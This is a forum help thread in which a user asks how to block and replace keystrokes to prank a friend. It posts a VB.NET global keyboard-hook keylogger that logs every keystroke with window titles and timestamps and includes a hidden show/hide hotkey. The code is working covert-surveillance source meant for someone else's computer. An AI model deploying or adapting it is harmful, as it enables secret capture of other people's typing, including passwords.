Stop input from keyboard and replace it. Outside a form

Posted on 2008-11-13
Last Modified: 2012-05-05
Hi guys, im trying to create a trick program that i can use to mess around with my mates.
Basically i want it to capture a key press and output a different one.

Im using revolts code and it is just a keylogger at present

but i want to stop the key that has been pressed going to the application.

so if my firend was in notepad, when he typed 30 characters it would always display "i have had a prank played on me" - which is 30 characters long

there was a line in revolts code that i thought would do it but it doesnt.
Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications

Hooks code can be downloaded from his website
Private Function Hooked()

		Return KeyboardHandle <> 0 'If KeyboardHandle = 0 it means that it isn't hooked so return false, otherwise return true

	End Function

    ''' <summary>

    ''' Sets the keyboard hook

    ''' </summary>

    ''' <remarks></remarks>

	Public Sub HookKeyboard()

		callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)

		KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)

		If KeyboardHandle <> 0 Then

			Me.btnStop.Enabled = True

			Me.btnStart.Enabled = False

			Label1.Text = "Active"

			Label1.ForeColor = Color.DarkGreen

		End If

	End Sub

    ''' <summary>

    ''' Unsets the keyboard hook

    ''' </summary>

    ''' <remarks></remarks>

	Public Sub UnhookKeyboard()

		If (Hooked()) Then

			If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then

				Label1.Text = "Not Active"

				Label1.ForeColor = Color.DarkRed

				Me.btnStop.Enabled = False

				Me.btnStart.Enabled = True

				KeyboardHandle = 0 'We have unhooked successfully

			End If

		End If

	End Sub

    ''' <summary>

    ''' Function to be called when there's a keyboard event

    ''' </summary>

    ''' <param name="Code">If this argument is lower than 0 you shouldn't block the event</param>

    ''' <param name="wParam">Type of event (Key UP/DOWN, etc.)</param>

    ''' <param name="lParam">Event Details</param>

    ''' <returns></returns>

    ''' <remarks></remarks>

	Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

		'Get current foreground window title

		Dim CurrentTitle = GetActiveWindowTitle()

		'If title of the foreground window changed

		If CurrentTitle <> LastCheckedForegroundTitle Then

			LastCheckedForegroundTitle = CurrentTitle

			'Add a little header containing the application title and date

			KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf

		End If


		'Variable to hold the text describing the key pressed

		Dim Key As String = ""


		'If event is KEYDOWN

		If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then


			'If we can block events

			If Code >= 0 Then

				'If Ctrl+Alt+S

				If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then

					Me.Visible = Not Me.Visible 'Hide/Show form

					Return 1 'Block event

				End If

			End If


			'Translate virtual key into character/expression

			Select Case lParam.vkCode

				Case virtualKey.K_0 To virtualKey.K_9

					Key = ChrW(lParam.vkCode)

				Case virtualKey.K_A To virtualKey.K_Z

					Key = ChrW(lParam.vkCode + 32)

				Case virtualKey.K_Space

					Key = " "

				Case virtualKey.K_RControl, virtualKey.K_LControl

					Key = "[control]"

				Case virtualKey.K_LAlt

					Key = "[alt]"

				Case virtualKey.K_RAlt

					Key = "[alt gr]"

				Case virtualKey.K_LShift, virtualKey.K_RShift

					Key = "[shift]"

				Case virtualKey.K_Return

					Key = vbCrLf

				Case virtualKey.K_Tab

					Key = vbTab

				Case virtualKey.K_Delete

					Key = "[delete]"

				Case virtualKey.K_Esc

					Key = "[esc]"

				Case virtualKey.K_CapsLock

					If My.Computer.Keyboard.CapsLock Then

						Key = "[/caps]"


						Key = "[caps]"

					End If

				Case virtualKey.K_F1 To virtualKey.K_F24

					Key = "[F" & (lParam.vkCode - 111) & "]"

				Case virtualKey.K_Right

					Key = "[Right Arrow]"

				Case virtualKey.K_Down

					Key = "[Down Arrow]"

				Case virtualKey.K_Left

					Key = "[Left Arrow]"

				Case virtualKey.K_Up

					Key = "[Up Arrow]"

				Case virtualKey.K_Backspace

					Key = "[bkspace]"

				Case virtualKey.K_Decimal, virtualKey.K_Num_Decimal

					Key = "."

				Case virtualKey.K_Subtract, virtualKey.K_Num_Subtract

					Key = "-"

				Case Else

					Key = lParam.vkCode 'If we didn't treat it, show the virtual key code (integer) so that we know what Case to add

			End Select

		'If event is Key UP

		ElseIf wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then

			Select Case lParam.vkCode

				Case virtualKey.K_RControl, virtualKey.K_LControl

					Key = "[/control]"

				Case virtualKey.K_LAlt

					Key = "[/alt]"

				Case virtualKey.K_RAlt

					Key = "[/alt gr]"

				Case virtualKey.K_LShift, virtualKey.K_RShift

					Key = "[/shift]"

			End Select

		End If

		'Add it to the log

		KeyLog &= Key

		If Key <> "" Then

			Me.ListBox1.Items.Add(Key) 'Add it to the listbox for debugging purposes

		End If

		Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications

	End Function

Open in new window

Question by:dajoebomb

    Author Comment

    Points increased again to 500!!!!

    Accepted Solution

    Sorted it out myself seems as no one is interested in 500 points.

    Featured Post

    Why You Should Analyze Threat Actor TTPs

    After years of analyzing threat actor behavior, it’s become clear that at any given time there are specific tactics, techniques, and procedures (TTPs) that are particularly prevalent. By analyzing and understanding these TTPs, you can dramatically enhance your security program.

    Join & Write a Comment

    This article explains how to create and use a custom WaterMark textbox class.  The custom WaterMark textbox class allows you to set the WaterMark Background Color and WaterMark text at design time.   IMAGE OF WATERMARKS STEPS Create VB …
    Calculating holidays and working days is a function that is often needed yet it is not one found within the Framework. This article presents one approach to building a working-day calculator for use in .NET.
    how to add IIS SMTP to handle application/Scanner relays into office 365.
    Sending a Secure fax is easy with eFax Corporate ( First, Just open a new email message.  In the To field, type your recipient's fax number You can even send a secure international fax — just include t…

    732 members asked questions and received personalized solutions in the past 7 days.

    Join the community of 500,000 technology professionals and ask your questions.

    Join & Ask a Question

    Need Help in Real-Time?

    Connect with top rated Experts

    21 Experts available now in Live!

    Get 1:1 Help Now